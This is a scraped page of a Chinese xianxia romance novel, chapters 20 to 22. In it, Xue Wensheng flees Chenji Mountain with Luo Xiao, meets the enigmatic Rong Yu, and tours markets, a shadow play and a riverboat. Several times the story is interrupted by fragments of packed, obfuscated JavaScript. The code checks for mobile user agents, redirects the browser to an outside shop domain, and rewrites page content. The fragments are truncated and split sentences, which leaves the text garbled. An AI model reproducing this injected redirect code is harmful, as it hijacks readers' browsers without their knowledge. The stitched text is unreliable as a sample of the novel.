d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16892652|192244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明决。 这个念头让她不寒而栗。若是她真的在梦境里失控了,在神志不清的情况下,对他做出什么......就像在梦里对那只小野狸,那......她简直不敢想象那种后果。无论是伤了他的身体,还是仅仅让他看到她那般不堪入目的模样,都足以让她万劫不复。 留下,意味着要继续忍受这无望的爱恋,要继续忍受这冰冷的对待,要继续忍受这日益失控的血脉与梦境。她像坐在一个即将喷发的火山口上,不知道哪一刻,自己就会被心底的黑暗与情欲彻底吞噬,做出无法挽回悔恨终生的事。 一股强烈想要逃离的冲动在她心里爆发了。 或许,只有远离这尘寂山的清静,远离他无处不在,遥不可及的身影,她才能获得片刻的喘息,才能避免那种最坏的可能发生? 对,离开这里,离开他。 她第一次如此清晰地,有了逃离这里的打算。 可是......天下之大,她能去哪里? 她身无长物,记忆混沌,除了这座尘寂山,她不知道自己还能归属于何方。或许离开这里,就是死路一条也说不准。 但留下,眼睁睁看着自己沉沦,看着自己与明决之间的距离越来越远,甚至可能亲手毁掉现在所拥有的一切,尽管这“一切”如今看来如此脆弱不堪,害怕失去的那种痛苦,比死亡更让她难以承受。 两种念头在她脑中激烈交战,她蜷缩在石榻上,望着那扇高窗中透出的清冷月光,内心备受折磨。 她不知道该怎么办。 前路茫茫,后退无门。 爱是枷锁,留下是煎熬。 她像一只被困在琥珀里的小飞虫,看似被珍重地包裹着,其实早已经失去了所有的自由与生机,只能在透明的禁锢中,慢慢窒息,风干。 那颗曾经纯粹快乐的心,布满了裂痕,再也回不去了。 这个夜晚,格外漫长。 20. 第 20 章 到了禁闭的第三日,雪闻笙蜷在石榻上,望着高窗外一方灰蒙的天空,眼神空洞,所有的委屈在经过几个日夜的反复咀嚼后,沉淀成了绝望。 她与明决之间,仿佛隔着一道无形的屏障,坚不可摧。他的道,他的理性,他的悲悯,如同九天之上的流云,而她,只是泥淖中挣扎的蜉蝣,再怎么仰望,也无法触及分毫。 她怀念以前那个单纯快乐的、满心满眼只有明决的雪闻笙,这个囚笼般的禁闭迟早要困死她。 但是,离开了这儿,她能去哪里?外面的人她一个也不认识。 就在这时,一个身影突兀地跳入了她的脑海——洛逍。 那个热情到有些莽撞,心思活络的小道士。他不是曾经信誓旦旦地说要带她下山,去看遍世间繁华吗。当时她只觉可笑不屑,如今想来,却成了她眼前唯一能抓住的、离开这里的浮木。 她记得,那夜寒洞里分别时,洛逍趁她不备,飞快地将一枚刻着符文的白色玉符塞进她手里,偷偷跟她说:“你若哪天改了主意,或是......或是遇到了什么难处,只需将这玉符捏碎,我无论如何都会赶来寻你!” 那时她只觉他烦人,随手便将那玉符塞进了随身携带的锦囊里,几乎快要忘却了。 此刻,这枚玉符可能是她唯一的希望了,不知道还在不在。 她挣扎着从石榻上坐起来,摸索着找到锦囊。以前她总喜欢一些零碎的小玩意儿,所以明决送了她一个锦囊,她抚摸着上面的祥云图案,把心一横,打开,将小物件统统倒出来,翻来覆去找玉符,里面什么大大小小奇奇怪怪的东西都有,无一例外,它们全部都跟明决有关。 但是现在,她只想找到那一个跟明决无关的。 “叮当”一声响,有个东西掉落在地,她弯腰去捡,发现就是那个小玉符。终于找到了,幸亏还在,那枚玉符触手温润,在昏暗的光线下泛着淡淡的莹白光泽,她紧紧攥住它,指尖微微泛白,真的要走吗? 真的要离开这个承载了她最初安宁与无数隐秘爱恋的尘寂山?离开那个......让她爱到心痛,也怨到心冷的明决? 一阵剧烈的抽痛猝不及防地划过心扉,让她几乎喘不过气。脑海中不受控制地浮现出明决的身影,他静坐时的侧脸,他教导她时的专注,他炼药时的沉稳,甚至那一瞥带着水汽的慵懒...... 够了!雪闻笙! 她猛地闭上眼,用力甩甩头,将那些影像狠狠驱散。不能再犹豫了!留下,只会让彼此都陷入更不堪的境地。离开,是对自己的解脱,或许......也是对他的一种成全。他不必再为她这个“麻烦”而费心,不必再因她不合“道心”的言行而失望。 心意已决。 她不再迟疑,用尽全身力气,咬牙将手中的玉符捏碎! “咔嚓”一声脆响,在寂静的石室中格外清晰。玉符在她掌心化为齑粉,随即,一股极淡,若有若无的灵力波动,像湖面漾开的涟漪,悄无声息地穿透石壁,朝着山下某个方向扩散开去。 做完这一切,她骤然失去了所有力气,颓然坐倒,心脏在胸腔里狂跳起来,既有决绝后的空虚,也有对未知前途的恐惧,还有一丝......背叛般的负罪感。 夜幕,如期降临,浓重如墨。 雪闻笙靠在门边,屏息凝神,侧耳倾听,不放过外界一丝一毫小动静。山中万籁俱寂,只有风吹过林梢的呜咽和不知名虫豸的低鸣。 静悄悄的,没有人来。 算了,她放弃了,说不定那玉符早失效了,又或是洛逍根本就没有收到讯息,指望他干什么呢,还不如靠自己想办法呢。 忽然,一阵轻微,像夜猫踏过落叶一般的声音,窸窸窣窣,由远及近,停在了禅室门外。 雪闻笙一动不动,静静听着,等着。 紧接着,是钥匙插入锁孔的细微声响,以及锁舌被轻轻拨开的“咔哒”声。厚重的木门,被推开一条缝隙,朦胧的月光下探进来一颗圆圆的黑脑袋,是洛逍。 “闻笙!”他压低声音,眼中是毫不掩饰的狂喜,“你真的......真的愿意跟我走了?” 雪闻笙没有看他脸上那过于灼热的目光,也没有说话,只是默默地点了点头,从门缝中侧身挤了出去。 俩人一路狂奔到山门外,夜风猎猎,重新呼吸到山间清冷自由的空气,她有些不知所措。 “咱们快走吧,此地不宜久留!我担心我们可能无意间已经触碰了许多阵法,哪哪都觉得不对劲!”洛逍紧张地四下张望了一下,连忙拉住她的衣袖,就要继续往山下奔。 “等等。”雪闻笙轻轻挣开了他的手。 她转过身,面向尘寂山。夜色中,这座高山像一只巨兽脊背一样沉默矗立着,她的目光不由自主寻找着山巅处那点几乎看不见的、属于竹楼的微弱灯火。那里,是她懵懂初开的地方,是她情根深种的地方,也是她如今决意要逃离的地方。此刻心中百感交集,酸涩难言。有对过往安宁岁月的不舍,有对那道素白身影最后的、无法割舍的眷恋,也有对自己未来命运的茫然与悲凉。 她对着那片黑暗,无声地,深深地鞠了一躬。 不是对山,不是对水,而是对山中那个不知此刻是否仍在静室清修的人,不知那人是否察觉她已经逃离。 一声无声的告别,在心底响起: 明决,你保重。 我走了。 如你所愿,我以后不再让你烦忧。也望你......永远不知道我这份僭越出的,不堪的心意。 再直起身的时候,她最后一点软弱已经被逼回去了,眼中一片清明坚决。她转向洛逍,语气平静的近乎冷漠:“走吧。” 洛逍看着她这般模样,心中虽然有些诧异,但更多的还是得偿所愿的兴奋。他连忙点点头,再次在前面引路,专挑最隐蔽难行的小径,带着雪闻笙,像两只融入夜色的影子,悄无声息地朝着山下疾行。 山路崎岖,夜色浓重。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16892653|192244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雪闻笙跟着洛逍,深一脚浅一脚地走着,心中一片麻木。她之前想着自己离尘寂山越远,那份牵绊就越淡,但心底某个角落生出个空洞,越来越大。 他们一路脚步不停,洛逍本就是修道之人,南来北往的走惯了,但是雪闻笙从来没有走过这么远的脚程,很快就累的气喘吁吁了。途中,洛逍心生不忍,多次停下提出要背着她走路,都被她拒绝了。 因为雪闻笙要亲自走,逼着自己一步一步远离尘寂山,远离明决。 终于,在天边泛起鱼肚白,晨曦即将驱散最后黑暗的时候,他们抵达了山脚。洛逍指着那座界碑,兴奋的给她鼓劲:“闻笙,你看。咱们再往前走大约两里路,便算是真正离开尘寂山的范围了。” 及此,两人都微微松了口气,停下脚步,靠坐在一块巨石旁,稍作喘息。 这时,洛逍的耳朵忽然动了动,神色立刻紧张起来,他示意雪闻笙赶快靠过来。 雪闻笙不由自主睁大了眼睛,站在原地没有动,她望着山上的方向,会不会是明决......他来了吗? 一旁茂密的竹林深处,忽然传来一阵带着几分戏谑的鼓掌声。 “啪、啪、啪......”掌声不疾不徐,在寂静的黎明前异常突兀。 雪闻笙和洛逍同时一惊,猛地转过头去。 只见竹林阴影下,一道颀长的身影懒洋洋地倚在一根粗壮的翠竹上。那人穿着一身玄色劲装,衣襟和袖口处用暗金丝线绣着繁复的奇异纹路,类似火焰与藤蔓的交织。 他看起来年岁不大,约莫十七八岁,面容俊美得近乎妖异,让人一见难忘,肤色白皙,唇色殷红如血,一双微微上挑的桃花眼,眼瞳竟是罕见的深紫色,此刻正流转着玩味而邪魅的光芒,毫不避讳地落在雪闻笙身上。 他的目光,有一种穿透性,与雪闻笙见过的所有人都不一样,那里面没有敬畏,没有怜悯,没有痴迷,有一种寻觅带着掠夺性的趣味。 “真是感人至深的一幕啊,”少年开口,声音低沉磁性,带着一丝漫不经心,又像带着钩子,能挠到人心底最隐秘的地方,“深更半夜,私奔下山?” 洛逍立刻警觉地上前一步,将雪闻笙护在身后,厉声喝道:“你是谁?想干什么?” 那少年看都没看洛逍一眼,他的目光始终牢牢锁在雪闻笙脸上,唇角勾起一抹邪气的弧度,他没有故弄玄虚,大大方方开了口:“我叫荣御,一直守在这山下,已经等了很久了。”他微微偏头,深紫色的眼眸中光华流转,仿佛蕴藏着无尽的秘密,“等一个人,回家。” 等一个人,回家? 雪闻笙怔怔地看着那个俊美邪魅的少年,看着他眼中那毫不掩饰的,属于黑暗与不羁的光芒,一股源自血脉深处,那既陌生又熟悉的悸动,悄然苏醒了。 洛逍也被这突如其来的变故和少年诡异的话语弄得有些不知所措,紧张地看着雪闻笙,又看看那个把自己当成空气的不明少年,一时间不知道该做什么反应。 21. 第 21 章 山脚下的短暂对峙,被晨曦彻底驱散。 那个自称名为“荣御”的玄衣少年,并没有过多解释要等谁回家。他笑了笑,表明自己并无恶意,用一种仿佛早已熟稔的姿态,自然而然地加入了他们的行列。洛逍虽然满心戒备,但见雪闻笙没有明确反对,又急于带她远离尘寂山这个是非之地,只得默许了这个来历不明者的同行。 三人各怀心思,沉默地走了一段路。直到彻底看不见尘寂山的轮廓,置身于一片陌生,充满生机的原野,雪闻笙才从一场漫长的梦中惊醒过来。她停下脚步,回头望了一眼那早就已经被云雾阻隔的方向,心头空落落的,像破了一个大洞,山风呼啸着从中穿过,又冷又疼。 洛逍小心翼翼地看着她苍白的侧脸,忍不住问道:“闻笙,你......你接下来有什么打算?” 打算?雪闻笙茫然地摇了摇头。 她逃离了牢笼,却不知道该飞向何方,只觉得心里堵得厉害,沉甸甸的,那种失恋、背叛感和自我放逐的苦闷,像阴云笼罩,她看不到一丝光亮。 她抬起头,看着眼前注视着自己的两个少年:“我不知道......我什么都不想去想。我只想简单一点,我想要......快乐。” 是的,快乐。 这个词对她来说,曾经那么简单,如今却如此奢侈。她想要忘记明决冰冷的眼神,忘记禁闭室的孤寒,忘记那些血腥的梦境和体内躁动的不安。她想要抓住一些实实在在的,能让她暂时逃离这一切的东西。 荣御那双深紫色的桃花眼微微眯起,唇角的弧度带着几分了然:“你想要快乐?这有何难?”他语气轻慢,像在说一件再简单不过的事情。 洛逍也立刻拍着胸脯保证:“对对对!闻笙,你想快乐,我就带你去寻快乐!我知道山下有好些好玩的地方!” “你带我去?你不回你师父那儿吗?”雪闻笙问。 洛逍冲她眨了眨眼睛:“没事。出来的时候我跟我师父说我回家去了,哪次回家我都待够十天半个月才回来,我师父他们早习惯了。”洛逍在他师父那儿确实受宠。 雪闻笙略微思考了一下,点点头:“好吧。”眼下她确实需要洛逍。 接下里,洛逍充分展示了他的优势,拿出一个大金锭,买下一座大马车,将里面布置的舒舒服服,又选定了两匹千里良驹。马车装好之后,他恭恭敬敬的邀请雪闻笙和荣御上车。“两位,坐稳了。咱们走!” 于是,一场旨在“寻找快乐”的旅程,就这样仓促又荒诞地开始了。 洛逍趴在马车里的案几上,一边看着地图,一边拿着纸和笔,三个人津津乐道,想法竟然出奇一致,他在小本本上密密麻麻的写满了计划,第一站,是距离尘寂山百里之外的一座繁华小镇,人称“浮乐镇”。 浮乐镇与清寂的山中截然不同。 青石板铺就的街道两旁,店铺林立,旌旗招展,贩夫走卒的叫卖声,孩童的嬉闹声、酒肆茶楼的喧哗声交织在一起,一股鲜活而嘈杂的声浪,扑面而来。空气中弥漫着各种食物的香气——刚出笼的肉包子、甜腻的糖人、油炸果子的焦香......还有胭脂水粉、布料染坊混杂在一起的气息,是属于人间的烟火气。 雪闻笙站在街口,望着摩肩接踵的行人,不知所措。她从来没有见过如此多的人群,如此纷乱的景象。 洛逍兴奋地在她身边介绍着,推着她走到一个糖画摊贩前,递给摊主一串钱。摊主连忙接过,笑着问:“各位小贵人们,请随便挑随便看。” 洛逍指着糖画摊子前摆的模型,点名要了个小兔子。一眨眼的功夫,摊主就做好了。洛逍接过小兔子,看看了,活灵活现很是满意,转身递给雪闻笙:“看,这是糖做的小兔子,能吃的,可甜了呢。尝尝吧?” 雪闻笙看了一眼,接过去拿在手里,轻轻嗅了嗅味道,没吃,似乎并不感兴趣。洛逍见状又带着拿着小糖人兔子的雪闻笙往里走:“前面还有更多好玩的,好看的,好吃的呢。走走走。”他们到了街中心,洛逍指着杂耍班子说可以看到喷火吞剑。荣御则抱臂站在一旁,嘴角噙着一丝玩味的笑,像在欣赏什么有趣的事情。 “你尝尝这个。”荣御不知何时走开,又转了回来,将一串红艳艳,亮晶晶的冰糖葫芦递到雪闻笙面前。那晶莹的糖壳在阳光下折射着诱人的光泽。雪闻笙迟疑地接过,小心翼翼地咬了一口。咔嚓一声,脆甜的糖衣在口中碎裂,混合着山楂的微酸,一种陌生又强烈的味觉刺激瞬间在她的味蕾上炸开。很简单,甚至有些粗劣的甜,却奇异地带来了一丝真实短暂的愉悦感。 她慢慢地吃着冰糖葫芦,观察着街上熙熙攘攘的人群,看着那些为生计奔波,或为琐事争吵,或单纯享受闲暇的凡人,他们脸上有着各种生动的表情,烦恼似乎都很具体,快乐也来得简单。 “怎么样?好吃吧?”洛逍凑过来,眼睛亮晶晶地问。 雪闻笙点了点头,唇角不自觉地微微弯了一下。虽然那个笑意很浅,很快就消散了,却让洛逍欣喜若狂。 雪闻笙对洛逍的态度开始有了转变,毕竟他没什么坏心眼,对自己又真心实意的好。 之后,他们三个结伴一路南下,去了更远的地方,地图上标注的叫“倦安岭”。 洛逍带着她爬上一座开满杜鹃花的山坡。他们站在山顶,极目远眺,山河壮丽,云海翻腾,天地广阔得让人心胸都为之一震。山风猎猎,吹动她的衣裙和长发,仿佛要将所有积郁都吹散。她张开手臂,闭上眼睛,感受着自然的磅礴与自身的渺小。那一刻,世俗的烦恼,尘寂山的纠葛,都暂时被这浩瀚的景象稀释了。 荣御在她欣赏风景时,摘来一捧极其罕见的野花,花瓣边缘带着荧光蓝,懒洋洋地递给她:“喏,这个颜色最配你了。”雪闻笙接过,掐了一朵簪在耳朵边上。荣御的举动总是带着几分突兀的霸道和浪漫。 “倦安岭”晚上的夜市,人潮不断,像河流一样,裹挟着欢声笑语与各色香气一路流淌。雪闻笙手里提着一盏刚买的小兔子灯,一手拽着洛逍的袖子,眼睛亮晶晶地左顾右盼。 “洛逍,洛逍,你看那个!”她指着一个挂满斑斓面具的摊子,脚步已经挪了过去,“这个青面獠牙的,像不像你上次吓唬我的样子?” 洛逍凑近一看,故意龇牙咧嘴道:“我哪有这么丑!这个明明更像荣御——整天板着脸。”说着,他拿起一个桃花笑娃娃面具,不由分说地罩在雪闻笙脸上,“这个才配你。” 雪闻笙隔着面具瓮声瓮气地笑,眼睛弯成了月牙。荣御站在半步外的人流中,闻言无奈,摇了摇头,目光扫过四周,将一位险些撞到雪闻笙的行人轻轻隔开。 前方一阵喝彩声传来,吸引住了他们的目光,他们三个走进了才发现,原来是个灯谜摊子被围得水泄不通。一串走马灯上写着谜面,摊主是个山羊胡老头,正捋须微笑。雪闻笙挤到前面,念出声来:“‘一边绿,一边红,一边喜雨,一边喜风’——咦,这是什么?” “是‘秋’字!”洛逍立刻抢答,得意洋洋。 老头却摇了摇铃,连连叹息:“错啦!错啦!” “啊?怎么可能!”洛逍大吃一惊,不明白自己错在哪里。 荣御看了一眼,低沉的声音从两人身后平静传来:“算是猜对了一半吧,这‘禾’与‘火’,合为‘秋’。你只说了结果,未拆字理,不合规矩。” 摊主大笑道:“哎呀,这位小哥说的对极了!”然后人群中响起掌声。雪闻笙回头,惊喜地看着荣御:“没想到你还挺厉害的!”荣御微微颔首:“谬赞了。”他将手里刚买的,还温热的糖炒栗子递给她。 洛逍不服,指着下一题:“这个我来!‘来时团圆,去时半,照人间悲欢’......” “是灯笼。”荣御几乎跟他同时说出了答案。 洛逍瞬间噎住了,一边的雪闻笙几乎已经要笑倒了。洛逍气呼呼的掏了钱:“我买三个最大的灯笼!一人一个!荣御你那盏算我输你的!”荣御看着被塞进手里的荷花灯,愣了一瞬,眼底掠过一丝极淡的笑意。 他们走到更喧闹处,那儿正上演皮影戏,刚好演到《白蛇传》里的水漫金山。 幕布上的金山寺摇摇欲坠,白娘子素白的身影在滔天巨浪中翻飞,鼓点如急雨般敲打着人心。雪闻笙看的入神,攥紧了手里的兔子灯杆,眉头微蹙。 “荣御,”她声音轻轻的,几乎要淹没在锣鼓声里,“你说许仙......是不是太软弱了些?知道是妖,便怕了,疑了,还要躲到法海那里去。” 荣御的目光停留在幕布上许仙颤抖的剪影上,沉吟片刻,道:“凡人惧妖,乃是常情。妖力非凡,未知便生怖。可贵处在于,”他顿了顿,似乎在斟酌词句,“惧后仍能信,怯后仍敢爱。许仙最终走出金山寺,那份明知不可为而为之的心,或许才是人间真情最笨拙,也最真实的样子。” “笨拙的真实......”雪闻笙重复着他的话,目光投向了幕布另一端,那个手持金钵,宝相庄严的法海剪影,“那......若是白娘子喜欢的不是许仙,而是法海呢?”她忽然冒出个古怪念头,“一个一心向道,以斩妖除魔为己任的僧人,她会怎么办?” “啊?”正捏着嗓子准备再次模仿法海喊“妖孽”的洛逍,闻言差点呛到,“闻笙,你,你,你这想法比戏文还离奇!我长这么大真是闻所未闻,见所未见,白娘子怎么会喜欢法海?” 荣御闻言,目光深沉了几分:“若真如此......那便是真正的劫数了。并非人妖之隔,而是道心与情心的对立。法海所持,是秩序,是天条,是清规戒律铸就的‘正道’。白蛇所怀,是本能,是欲念,是万物生灵皆有的‘情’。这并非对错之争,而是......”他小心寻找着措辞,“他们二人根基处的南辕北辙。” “是吗......”雪闻笙轻声道。 这时,皮影戏里法海的声音透过幕布传来,苍劲有力:“妖孽祸乱人间,尔等竟执迷不悟!”观众中有人叫好,也有人低声为白蛇叹息。 洛逍挠挠头,插话道:“要我说,法海也没全错。人有人道,妖有妖路,道不同,混在一起容易出乱子。他守着那条线,虽然不近人情,但也算......嗯,理智又尽责?” “可这‘线’划在哪里,由谁而定呢?”雪闻笙转过头,眼中满是不解,还带着一丝愤懑,“只因天生是妖,她的爱慕便是罪过,她的真情便是祸乱?若她爱的是许仙,便是玷污凡人,若她爱的是法海,便是动摇道心......好像无论如何,她这份心意本身,就成了原罪。”她的声音低落下去,带着浓浓的伤感,“怎么走,都是绝路似的。” 夜市灯火映在她清澈的眸子里,闪烁着困惑与难过。周围观众的喧闹仿佛隔了一层,这一刻,她全然代入了那只无处安放真情的白蛇。 荣御沉默地看着她,良久,才用一种平静的语气缓缓道:“或许,问题不在于路在何方,而在于......行路者是谁。”他视线转向幕布,此刻白蛇正掀起巨浪,气势惊人,“若这白蛇,并非寻常蛇妖,而是翻江倒海,连天界也需忌惮三分的大神呢?若她强到规则需为她改写,强到她的‘情’本身,便能成为一种新的‘秩序’......那么,是仙是妖,爱谁恨谁,又有谁敢置喙,有谁能阻挡?” 他的话听起来不像寻常的安慰,是一种狂妄大胆的假设。雪闻笙一字不漏的听进去了,怔怔地望着他,一时忘了言语,他这话是什么意思? “哎呀,荣御你说得太吓人了!”洛逍见气氛有些凝重,赶忙打破沉默,拍拍雪闻笙的肩膀,“别想那么惨嘛!我听说后来好多故事里,白素贞可厉害了呢!她水漫金山是犯了错,可也显了慈悲心,最后被关在雷峰塔下修炼,儿子还中了状元救她出来,功德圆满,后来......后来好像都成仙了!结局好着呢!” 幕布上,戏已近尾声,白蛇被压塔下,一抹代表希望的暖光打在幕布上。周围的观众发出唏嘘又释然的叹息。 雪闻笙看看洛逍乐观的脸,又看向荣御。荣御已经恢复了平日的沉静,对她微微点了点头,仿佛刚才那些石破天惊的话只是她的幻觉,她低下头,手里的花灯依旧散发着柔和的光晕。 待鼓乐声歇,一出戏终了。人群开始流动,走向下一个热闹处。可雪闻笙心中的郁结并没有随之散去,还多了些模糊,说不清的东西。 她最后望了一眼那空荡荡的幕布,若有所思,半晌,她轻声说:“成仙......若是用千年孤独,断情绝爱换来的,那还是她最初想要的那个结局吗?” 夜风拂过,无人回答。 这个问题,连同这个灯火迷离的夜晚,一起沉入了少女的心底。 洛逍催促着他们去看下一处的热闹,荣御依旧沉默地护在一侧,将汹涌的人潮与她隔开。穿过皮影戏摊鼎沸的人声,他们踏入了另一个静谧的小道。 墙角背光处,一位老者须发皆白,他怀里抱一把漆色斑驳的琵琶,念念有词,枯瘦的手指在弦上抚过,流淌出的乐音苍凉如水,又奇异地包裹着一丝褪色的温柔。调子很陌生,词句在夜风与市嚣中破碎难辨,但那沙哑的嗓音,却像一只粗粝的手掌,轻轻拉扯住了过路人的心。 三人不约而同驻足。 雪闻笙提着兔子灯的手缓缓垂下,她没说话,轻轻蹲下身,将几块碎银放入老人面前粗陶碗中,动作很小心,怕惊扰了弦上的幽魂。 洛逍也跟着放了钱,他性子活,耐不住这份沉静,凑近了一些,笑嘻嘻地问:“老爷子,您这曲子怪好听的,叫什么名儿?听着不像本地的调调呀。” 老人拨弦的手未停,眼皮微抬,眼角的皱纹随着淡淡的笑意舒展开。“随兴而弹,随缘而唱,”他的声音和琴音一样沙哑,“走的地方多了,东听一耳朵,西记半句调,混在一起,就成了这样。你问什么名儿?哪还有什么名字,都忘了。” 一直沉默的荣御,目光落在老人关节粗大,布满老茧的手指上,忽然开口:“像暮春时,晚风穿过空谷的回声。”他顿了顿,补充道,“带了点......晒过太阳的尘土气,和很远地方草木的味道。” 老人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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雪闻笙的眼眶却微微红了,老人话语里那模糊的“老槐树”,“甜”,勾勒出一种她从未拥有却莫名心颤的牵念。那调子里的苍凉,此刻无比具体地压在她心头。“走了那么远......还记得家里槐花的味道?”她鼻尖有些发酸。其实......她也清清楚楚记得尘寂山的花草清香,还有......明决身上的气息。 荣御看见她眼中盈盈的水光,默然片刻,对老人道:“暮春晚风,除了空谷回声,有时也捎带迟归的雁鸣。夜里听见,总疑心是故园池塘边,失群的那一只。”他的话透着一种寂寥的瞭望,不是单纯的在评价乐音,像是在回应雪闻笙那份无根的愁绪。 老人指尖的旋律,随着荣御的话,悄然融进了一丝更幽微,更绵长的颤音,像秋夜寒露,悄无声息地浸润了聆听者的衣衫。雪闻笙垂下头,一滴泪悄悄没入衣襟。 洛逍左看看感动得要掉泪的雪闻笙,右看看突然变得“文绉绉”更增悲凉的荣御,抓了抓头发,忽然“哎呀”一声,指着老人的琵琶说:“老爷子,您这琵琶弹得是真好!不过我刚才听着,有个地方特别像我们镇上王麻子卖豆腐的吆喝调!‘豆~腐~咧~,哎呦谁要甜滋滋的豆腐咧~’是不是?”他故意怪腔怪调地学了一声。 这突如其来的打岔,悲伤的气氛陡然一滞。 老人一愣,随即失笑,那笑容真切了许多,带着点无奈:“你这后生......倒会胡扯。” 雪闻笙也被他逗得破涕为笑:“就你爱瞎捣乱!” 洛逍见气氛松动,赶紧趁热打铁:“本来就是嘛!老爷子,开心点!您看您这手艺,走南闯北都是独一份!再说了,”他挤挤眼,“指不定哪天,您弹着弹着,就弹回老家那棵老槐树底下啦!到时候,我要是路过,肯定买......啊不,肯定讨一碗槐花糕吃!” 老人摇头笑着,手下琵琶声未断,不知不觉间,将那萦绕不散的苍凉收束了些许,换上了一段稍显明快,带点诙谐的民间小调过渡,好像真的被这莽撞又热忱的年轻人带偏了一瞬。 荣御看着雪闻笙脸上重新亮起的笑意,不再多言。只是当三人准备离开时,他也默默俯身,在陶碗中多放了一块金锭,动作轻缓,未起尘埃。 琵琶声在他们身后继续,依旧苍凉,依旧温柔,不过融入了更多市井的嘈杂,不再那么孤单。 洛逍一手拉着还在回望的雪闻笙,一手挥舞着刚买的糖人,大声说着前面还有喷火的杂耍。荣御跟在一旁,手中的荷花灯静静照亮前路几步的距离。 那乡愁,如夜风中的琵琶语,来过,沾染了衣襟,又被更热闹的人间灯火,暖暖地烘着。至少这个夜晚,他们仍在彼此身边,这或许就是对抗所有“遥远”与“遗忘”的,最近的一处灯火。 夜深了,他们手里提满了战利品:小花灯、面人儿、一包蜜饯、几册旧书。洛逍还在津津乐道猜错的灯谜,雪闻笙却偷偷将一枚平安符塞进荣御手中——是刚才趁他俩斗嘴时,在路边的土地庙求的。 “一人一个。你总走在后面,要护着大家呢。” 荣御握紧尚带体温的符,喉结动了动,最终只低声道:“......谢谢。” 玩累了,他们停在一家临河的小酒馆里。窗外月色朦胧,河面波光粼粼。桌上的菜肴虽然不精致,却别有风味。洛逍为了助兴,点了一壶当地有名的果酒。 “嗯?这是什么?”雪闻笙看着杯中琥珀色的液体,好奇地问。 “是酒啊,甜甜的,不醉人,你准没喝过是不是?要不要尝尝看?”洛逍连忙给她倒了一小杯。 雪闻笙确实没喝过,但她听说很辣的,怎么洛逍说它甜呢?她心里迟疑,端起酒杯,学着洛逍的样子抿了一小口。果然,这酒入口甘甜,带着浓郁的水果香气,几乎感觉不到辛辣。她忍不住又多喝了几口,渐渐地,一股暖意从胃里升起,流向四肢百骸。身体变得轻飘飘的,脑子里那些纷乱沉重的思绪,仿佛也被这暖意熏得模模糊糊,渐渐软化了下去。她的脸颊泛起红晕,眼神也带上了一层朦胧的水光。 “真好......”她趴在桌上,看着窗外摇晃的灯影和水波,吃吃地笑了起来,“好像......真的变得很轻松。” 洛逍看着她笑,自己也傻呵呵地乐。荣御则晃动着手中的酒杯,深紫色的眼眸在灯光下显得更加幽邃,他看着她微醺的侧脸,低声道:“酒是好东西,能忘忧,也能......见真性。” 那一晚,雪闻笙第一次尝到了醉酒的滋味。 她说了很多话,是她清醒时候从来不会说的,大多颠三倒四的,关于尘寂山的花,尘寂山的小动物,关于她看过的书,却唯独小心翼翼地避开了那个名字。她笑着,闹着,仿佛真的很快乐。洛逍陪着她笑,荣御在旁边一言不发,静静地陪她喝着酒。 那些瞬间,美食、美景、新奇的事物、酒精的麻痹......确实像一剂剂止痛的良药,暂时抚平了她心口的褶皱。她感受到了久违的轻松,甚至咧开嘴开怀大笑。洛逍的真诚与热情,荣御那种危险而迷人的陪伴,都让她暂时忘记了孤身一人的彷徨。 快乐,似乎触手可及。 她贪婪地汲取着这些简单的,感官上的愉悦,像久旱的旅人逢遇甘霖。 她告诉自己,就这样吧,忘记过去,活在当下这虚假却温暖的喧嚣里。 可是,每当夜深人静,酒意散去,独自躺在陌生的客栈床上时,那份被强行压下的空洞与疼痛,便会更加清晰地浮现出来。那些短暂的快乐,像黑夜中燃放的烟火,绚丽夺目,却转瞬即逝,留下的,是更加深沉的黑暗与寂寥。 她知道,这份“快乐”是偷来的,但至少,在这段放纵的旅程里,她可以暂时不去想那轮清冷的月亮,不去想没有答案的前路,只是沉溺于这浮生半日,虚幻的欢愉之中。 22. 第 22 章 “快乐”的旅程仍在继续。 洛逍仿佛要将世间所有有趣的事物都捧到雪闻笙面前,荣御也不遗余力,他总是能寻到最新奇,或者略带危险刺激的消遣给她解闷儿。他们一路经过许多繁华的州府,也踏足许多幽静的山水。 他们途径霖川府,被一个以水乡闻名的小镇吸引了,便租了一艘精致的画舫。月色如银,洒在波光粼粼的河面上,两岸灯火倒映,如同碎金摇曳。船娘唱着软糯的吴侬小调,声音婉转缠绵。洛逍坐在船上,笨拙地学着当地人的样子,为雪闻笙剥着清水煮的菱角。 “闻笙,你来尝尝这个。”他把剥好的递给雪闻笙。 菱角一个个整整齐齐放在白瓷盘里,雪闻笙以前从来没见过这些弯弯翘翘,像牛角一样奇怪的吃食,确实有些好奇,于是她吃了一个,觉得味道有点奇怪,就放下了。 “啊?你不喜欢啊。”洛逍嘎吱嘎吱吃的那叫一个欢。 雪闻笙摇了摇头,把盘子里没吃的都推给了他。 荣御弄来几盏莲花水灯,点燃后一个一个放入河中,它们载着微光,随波逐流,汇入一片星星点灯的灯河,美得不似人间。 “闻笙,你快看那些水灯,多美啊!”洛逍立刻抛弃了菱角,兴奋地指着河灯,眼中映着灯火,亮晶晶的。 雪闻笙倚在船舷边上,看着那如梦似幻的景致,轻轻“嗯”了一声。确实很美,让人心醉。船娘的歌声飘入耳中,她这才听清楚,词里唱的是一腔女儿家的相思情意,那么缠绵悱恻,她的心像是被柔婉的调子猛地揪了一下,疼的抽了一口气。 